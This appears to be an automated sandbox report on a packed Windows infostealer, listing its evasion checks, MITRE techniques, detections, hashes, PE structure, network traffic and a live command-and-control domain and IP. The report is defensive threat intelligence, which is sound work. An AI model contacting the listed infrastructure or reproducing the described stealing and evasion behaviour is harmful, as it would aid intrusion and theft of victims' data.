Source: C:\Users\user\Desktop\Prs9eAnu2k.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: procmon.exe
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: wireshark.exe

Stealing of Sensitive Information

barindex
Infostealer behavior detected
Source: Signature ResultsSignatures: Mutex created, HTTP post and idle behavior
Leaks process information
Source: global trafficTCP traffic: 192.168.2.12:49711 -> 176.53.146.223:80

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Command and Scripting Interpreter		1
DLL Side-Loading		1
Process Injection		23
Virtualization/Sandbox Evasion		OS Credential Dumping751
Security Software Discovery		1
Exploitation of Remote Services		11
Archive Collected Data		11
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading		1
Process Injection		LSASS Memory23
Virtualization/Sandbox Evasion		Remote Desktop Protocol1
Data from Local System		4
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
Deobfuscate/Decode Files or Information		Security Account Manager13
Process Discovery		SMB/Windows Admin SharesData from Network Shared Drive4
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook3
Obfuscated Files or Information		NTDS1
Remote System Discovery		Distributed Component Object ModelInput Capture5
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
Software Packing		LSA Secrets1
File and Directory Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials216
System Information Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Prs9eAnu2k.exe49%VirustotalBrowse
Prs9eAnu2k.exe100%AviraTR/Crypt.TPM.Gen
Prs9eAnu2k.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737fff::3100%Avira URL Cloudmalware
http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737http://home.fiveth5vs.top/KhxTILlSHLygUudVWl100%Avira URL Cloudmalware
http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737?argument=0100%Avira URL Cloudmalware
http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737100%Avira URL Cloudmalware
http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk17100%Avira URL Cloudmalware
http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737?argument=0lL100%Avira URL Cloudmalware

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
home.fiveth5vs.top
176.53.146.223
truefalse
    		high
    httpbin.org
    		34.197.122.172
    		truefalse
      		high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737?argument=0true
      • Avira URL Cloud: malware
      		unknown
      http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737true
      • Avira URL Cloud: malware
      		unknown
      https://httpbin.org/ipfalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737fff::3Prs9eAnu2k.exe, 00000001.00000002.2664364644.0000000001569000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2631851306.0000000001567000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: malware
        		unknown
        https://curl.se/docs/hsts.htmlPrs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpfalse
          		high
          http://html4/loose.dtdPrs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpfalse
            		high
            https://curl.se/docs/alt-svc.html#Prs9eAnu2k.exefalse
              		high
              https://httpbin.org/ipbeforePrs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpfalse
                		high
                https://curl.se/docs/http-cookies.htmlPrs9eAnu2k.exe, Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpfalse
                  		high
                  http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737http://home.fiveth5vs.top/KhxTILlSHLygUudVWlPrs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpfalse
                  • Avira URL Cloud: malware
                  		unknown
                  https://curl.se/docs/hsts.html#Prs9eAnu2k.exefalse
                    		high
                    http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737?argument=0lLPrs9eAnu2k.exe, 00000001.00000003.2632003954.000000000156D000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000002.2664364644.000000000156E000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2631851306.0000000001567000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: malware
                    		unknown
                    http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk17Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: malware
                    		unknown
                    https://curl.se/docs/http-cookies.html#Prs9eAnu2k.exefalse
                      		high
                      https://curl.se/docs/alt-svc.htmlPrs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpfalse
                        		high
                        http://.cssPrs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpfalse
                          		high
                          http://.jpgPrs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpfalse
                            		high

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            176.53.146.223
                            		home.fiveth5vs.topUnited Kingdom
                            		35791VANNINVENTURESGBfalse
                            34.197.122.172
                            		httpbin.orgUnited States
                            		14618AMAZON-AESUSfalse

                            General Information

                            Joe Sandbox version:41.0.0 Charoite
                            Analysis ID:1582829
                            Start date and time:2024-12-31 15:40:44 +01:00
                            Joe Sandbox product:CloudBasic
                            Overall analysis duration:0h 6m 38s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                            Number of analysed new started processes analysed:4
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample name:Prs9eAnu2k.exe
                            renamed because original name is a hash value
                            Original Sample Name:53db8912e908083fa5076160a0db3c31.exe
                            Detection:MAL
                            Classification:mal100.troj.spyw.evad.winEXE@1/0@8/2
                            EGA Information:
                            • Successful, ratio: 100%
                            HCA Information:Failed
                            Cookbook Comments:
                            • Found application associated with file extension: .exe

                            Warnings

                            • Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, svchost.exe
                            • Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                            • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                            Simulations

                            Behavior and APIs

                            ⊘No simulations

                            Joe Sandbox View / Context

                            IPs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            176.53.146.223joE9s9sbv0.exeGet hashmaliciousUnknownBrowse
                            • home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737
                            JbN2WYseAr.exeGet hashmaliciousUnknownBrowse
                            • home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737
                            ivHDHq51Ar.exeGet hashmaliciousUnknownBrowse
                            • home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737
                            34.197.122.172XJiB3BdLTg.exeGet hashmaliciousUnknownBrowse
                              yqUQPPp0LM.exeGet hashmaliciousUnknownBrowse
                                ZN34wF8WI2.exeGet hashmaliciousUnknownBrowse
                                  Hqle5OSmLQ.exeGet hashmaliciousUnknownBrowse
                                    Set-up.exeGet hashmaliciousUnknownBrowse

                                      Domains

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      httpbin.orgjoE9s9sbv0.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      XJiB3BdLTg.exeGet hashmaliciousUnknownBrowse
                                      • 34.197.122.172
                                      Bo6uO5gKL4.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      JbN2WYseAr.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      r8nllkNEQX.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      yqUQPPp0LM.exeGet hashmaliciousUnknownBrowse
                                      • 34.197.122.172
                                      ivHDHq51Ar.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      ZN34wF8WI2.exeGet hashmaliciousUnknownBrowse
                                      • 34.197.122.172
                                      Hqle5OSmLQ.exeGet hashmaliciousUnknownBrowse
                                      • 34.197.122.172
                                      Set-up.exeGet hashmaliciousUnknownBrowse
                                      • 52.202.253.164
                                      home.fiveth5vs.topjoE9s9sbv0.exeGet hashmaliciousUnknownBrowse
                                      • 176.53.146.223
                                      JbN2WYseAr.exeGet hashmaliciousUnknownBrowse
                                      • 176.53.146.223
                                      ivHDHq51Ar.exeGet hashmaliciousUnknownBrowse
                                      • 176.53.146.223

                                      ASNs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      VANNINVENTURESGBjoE9s9sbv0.exeGet hashmaliciousUnknownBrowse
                                      • 176.53.146.223
                                      JbN2WYseAr.exeGet hashmaliciousUnknownBrowse
                                      • 176.53.146.223
                                      ivHDHq51Ar.exeGet hashmaliciousUnknownBrowse
                                      • 176.53.146.223
                                      file.exeGet hashmaliciousScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, VidarBrowse
                                      • 176.53.146.212
                                      Tii6ue74NB.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, VidarBrowse
                                      • 176.53.146.212
                                      file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYSBrowse
                                      • 176.53.146.212
                                      s3hvuz3XS0.exeGet hashmaliciousCryptbotBrowse
                                      • 176.53.146.212
                                      65AcuGF7W7.exeGet hashmaliciousCryptbotBrowse
                                      • 176.53.146.212
                                      9nYVfFos77.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                      • 176.53.146.212
                                      ovQrwYAhbq.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                      • 176.53.146.212
                                      AMAZON-AESUSjoE9s9sbv0.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      XJiB3BdLTg.exeGet hashmaliciousUnknownBrowse
                                      • 34.197.122.172
                                      Bo6uO5gKL4.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      JbN2WYseAr.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      r8nllkNEQX.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      yqUQPPp0LM.exeGet hashmaliciousUnknownBrowse
                                      • 34.197.122.172
                                      ivHDHq51Ar.exeGet hashmaliciousUnknownBrowse
                                      • 34.200.57.114
                                      ZN34wF8WI2.exeGet hashmaliciousUnknownBrowse
                                      • 34.197.122.172
                                      Hqle5OSmLQ.exeGet hashmaliciousUnknownBrowse
                                      • 34.197.122.172
                                      PO_2024_056209_MQ04865_ENQ_1045.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                      • 44.221.84.105

                                      JA3 Fingerprints

                                      ⊘No context

                                      Dropped Files

                                      ⊘No context

                                      Created / dropped Files

                                      ⊘No created / dropped files found

                                      Static File Info

                                      General

                                      File type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                      Entropy (8bit):7.9821429531468775
                                      TrID:
                                      • Win32 Executable (generic) a (10002005/4) 99.96%
                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                      • DOS Executable Generic (2002/1) 0.02%
                                      • VXD Driver (31/22) 0.00%
                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                      File name:Prs9eAnu2k.exe
                                      File size:4'444'672 bytes
                                      MD5:53db8912e908083fa5076160a0db3c31
                                      SHA1:ff4309a7ec13cf183b4b13d83cdee8554cc8310e
                                      SHA256:8776714b524b22667fce6f8d4cfae8bf99061e2a3a4516e48b8335e7b2e65971
                                      SHA512:529fcccb4747daf4fef3c3fa0a2e661ef454129e9f3e922ee6ba158f99cae0534db7c8ab62a0ce7af57edd13a2f83e9bd7fa60e88bff698bfdb4630f4f679f09
                                      SSDEEP:98304:LzjLmEIEtVZ3IDyI1OSfYsXfHhQpNSNdx3UZgzIxdP8hyy4i:LzvmEI2fIBOSzXfBQpNS/x3U6IxdPo
                                      TLSH:F32633DE16437050E002BAB7CF2E98F93A55FD661474AC81FC52B239588BE1B73BD941
                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5rg...............(..K...s..2............K...@...................................D...@... ............................

                                      File Icon

                                      Icon Hash:00928e8e8686b000

                                      Static PE Info

                                      General

                                      Entrypoint:0x103d000
                                      Entrypoint Section:.taggant
                                      Digitally signed:true
                                      Imagebase:0x400000
                                      Subsystem:windows gui
                                      Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
                                      DLL Characteristics:DYNAMIC_BASE
                                      Time Stamp:0x677235C7 [Mon Dec 30 05:55:19 2024 UTC]
                                      TLS Callbacks:
                                      CLR (.Net) Version:
                                      OS Version Major:4
                                      OS Version Minor:0
                                      File Version Major:4
                                      File Version Minor:0
                                      Subsystem Version Major:4
                                      Subsystem Version Minor:0
                                      Import Hash:2eabe9054cad5152567f0699947a2c5b

                                      Authenticode Signature

                                      Signature Valid:
                                      Signature Issuer:
                                      Signature Validation Error:
                                      Error Number:
                                      Not Before, Not After
                                        Subject Chain
                                          Version:
                                          Thumbprint MD5:
                                          Thumbprint SHA-1:
                                          Thumbprint SHA-256:
                                          Serial:

                                          Entrypoint Preview

                                          Instruction
                                          jmp 00007F82B524786Ah
                                          cmpxchg byte ptr [ebx+00h], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          jmp 00007F82B5249865h
                                          add byte ptr [esi], al
                                          or al, byte ptr [eax]
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], dh
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          or byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [esi], al
                                          or al, byte ptr [eax]
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], cl
                                          add byte ptr [eax], 00000000h
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          adc byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add ecx, dword ptr [edx]
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al
                                          add byte ptr [eax], al

                                          Data Directories

                                          NameVirtual AddressVirtual Size Is in Section
                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x70505f0x73.idata
                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x7040000x1ac.rsrc
                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x7308000x688
                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0xc3b9300x10habslsfa
                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                          IMAGE_DIRECTORY_ENTRY_TLS0xc3b8e00x18habslsfa
                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                          Sections

                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                          0x10000x7030000x289a00480faa1cc662f2e48f2e6d55dc1e6835unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          .rsrc0x7040000x1ac0x20061c379ed354ca49aa1922be240dc2166False0.578125data4.518471497106786IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          .idata 0x7050000x10000x2000ff3b278c147647c2093aaa19ab35725False0.166015625data1.1569718486953509IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          0x7060000x3860000x2006a1c8e8435340d7a65884ee9ba1199b2unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          habslsfa0xa8c0000x1b00000x1afc00eb882b1a413a7ffebd873c31bd99517cFalse0.9942491947741748data7.95460581651071IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          xrpgpkiv0xc3c0000x10000x4008872660183b5b483374d83f50a882a8aFalse0.775390625data6.170895041405975IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          .taggant0xc3d0000x30000x2200b681d844a0d8cf03a8722c28ce1abb6fFalse0.06433823529411764DOS executable (COM)0.7526058124415493IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                          Resources

                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                          RT_MANIFEST0xc3b9400x152ASCII text, with CRLF line terminators0.6479289940828402

                                          Imports

                                          DLLImport
                                          kernel32.dlllstrcpy

                                          Network Behavior

                                          Network Port Distribution

                                          TCP Packets

                                          TimestampSource PortDest PortSource IPDest IP
                                          Dec 31, 2024 15:42:10.491822958 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:10.491858959 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:10.491939068 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:10.505189896 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:10.505209923 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:11.171705961 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:11.175910950 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:11.175932884 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:11.177373886 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:11.177455902 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:11.178994894 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:11.179069996 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:11.198990107 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:11.199012995 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:11.253109932 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:11.507855892 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:11.508011103 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:11.508141994 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:11.539419889 CET49710443192.168.2.1234.197.122.172
                                          Dec 31, 2024 15:42:11.539441109 CET4434971034.197.122.172192.168.2.12
                                          Dec 31, 2024 15:42:13.630764961 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.635577917 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.635669947 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.636682987 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.641544104 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641554117 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641563892 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641583920 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641592979 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641611099 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641619921 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641661882 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.641695976 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.641762972 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641773939 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641782999 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.641840935 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.646538019 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.646550894 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.646578074 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.646589041 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.646611929 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.646626949 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.646635056 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.646645069 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.646646976 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.646682024 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.646701097 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.691488028 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.691668034 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.743372917 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.743530035 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.791356087 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.791491985 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.839370012 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.839452982 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.891448021 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.891510010 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.939475060 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.939646006 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:13.987413883 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:13.987673044 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.035370111 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.035443068 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.087410927 CET8049711176.53.146.223192.168.2.12
                                          Dec 31, 2024 15:42:14.087496042 CET4971180192.168.2.12176.53.146.223
                                          Dec 31, 2024 15:42:14.134480000 CET8049711176.53.146.223192.168.2.12
